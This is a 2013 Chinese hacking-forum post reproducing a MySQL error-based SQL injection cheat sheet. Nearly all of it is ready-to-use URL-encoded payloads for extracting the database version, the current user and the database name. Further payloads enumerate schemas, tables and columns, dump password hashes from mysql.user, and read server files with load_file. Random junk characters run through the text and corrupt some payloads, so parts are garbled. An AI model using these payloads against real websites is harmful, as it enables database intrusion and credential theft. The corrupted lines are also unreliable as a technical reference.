本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 ) t i, I9 n6 @& y
' d: _' s4 r4 |9 ]4 |" l
8 d8 K+ e2 } ]- `
Mysql暴错注入参考(pdf),每天一贴。。。
, R7 E% @$ ~2 R6 M: A, s# U4 d! x3 d# Q. n+ U2 G% x2 x
MySql Error Based Injection Reference3 M8 j* G# T: h9 M
[Mysql暴错注入参考]
7 B0 h) ]7 K5 b2 ~: vAuthornig0s1992( @ j$ k! S8 S# D
Blog:http://pnig0s1992.blog.51cto.com/- T9 Z/ z* P9 j& d+ ?' J7 ~
TeAm:http://www.FreeBuf.com/
- W: ^% @" |; f. bMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
) }6 I! J+ r7 Y; ~4 G' A. D4 p小部分版本使用name_const()时会报错.可以用给出的Method.2测试
3 a- K9 V2 m& `: A, l6 M查询版本:
) X/ {8 b3 O2 y8 ~- `' H) BMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+3 q7 H( k7 N- ?! r9 o
join+(select+name_const(@@version,0))b)c)
6 H. F# w n1 F, X+ H+ I" i9 LMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
. y E( v& G& z; B+ j: f: qup by a)b)5 ^! a6 j3 ^' `: i! N
查询当前用户:
2 K% F4 }3 U* Y$ Q& [0 cMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
( `' ^/ l8 \3 x# X( a8 x! D- \Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r R) s: ? [4 V% Y
and(0)*2))x+from+information_schema.tables+group+by+x)a)5 @+ h: {" R9 Q" A" { @
查询当前数据库:
/ ?0 a% g2 I9 u% ^# o4 i3 gMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
u* U+ K# p' O' n' j: _1 dMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo0 m1 M7 e6 _) Z+ \; E3 j4 M9 a
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
1 @2 r: h- |7 y: {" c/ w依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+( i- [' _* V0 P$ z% e8 i% c% S/ O
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n' ]: {6 X9 ^( ~$ n* M( t( o
顺序替换
' K, W% k9 i9 ?! @. I爆指定库数目:
2 u" j3 M4 ^8 q3 c: [and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t% b- c, @9 G" H
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group2 Z( ~/ Y5 E" z' I0 m
+by+x)a)+and+1=1 0x6D7973716C=mysql* y0 q X+ L1 g
依次爆表:
: w; ~! e- \- D1 b; Y* I4 T ~: qand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t9 z0 p$ V3 [. Q. P8 [- C
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
' Q5 r# K4 u0 F3 P9 tbles+group+by+x)a)+and+1=1
0 h, ~# e, r9 ?0x6D7973716C=Mysql 将n顺序替换- [, H9 B4 n; q( a% k" A$ j2 r
爆表内字段数目:
0 H# ]& o8 H: K/ R. W& v# nand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
5 e8 H6 i$ j- v1 F0 W( |9 C. q+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran: Q! w7 c/ Q( ^5 V: A
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
, }( { e% V F6 f1 i4 ?8 Z依次爆字段:, F9 L" l: G3 a2 S& Z" j( U0 k
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where/ K1 k* D) _- o
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
, o* B: O" E, I9 {8 z3 Tloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换 M; s; v4 g+ L7 p3 i, y9 v
依次暴内容:
9 G4 N7 y* s* u. vand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche) Z& i; g8 k) w6 X6 m* h% y1 ?
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=19 D, K3 q, L4 ^+ X
将n顺序替换3 P& S6 \1 q! A0 U7 r3 g E( g% I
爆文件内容:
+ }" v# w) G+ s$ a3 Z S" K, ?and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
1 g5 ^2 g3 P# [) U! T4 X% U# t qfrom+information_schema.tables+group+by+a)b) 4 E& R% I X/ R: @) B
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节+ Y$ M& G0 z1 a% i
Thx for reading.) w* ]5 l5 t8 H6 T
j: W |2 F7 s* a& Z
不要下载也可以,
$ E2 O3 d, D5 v |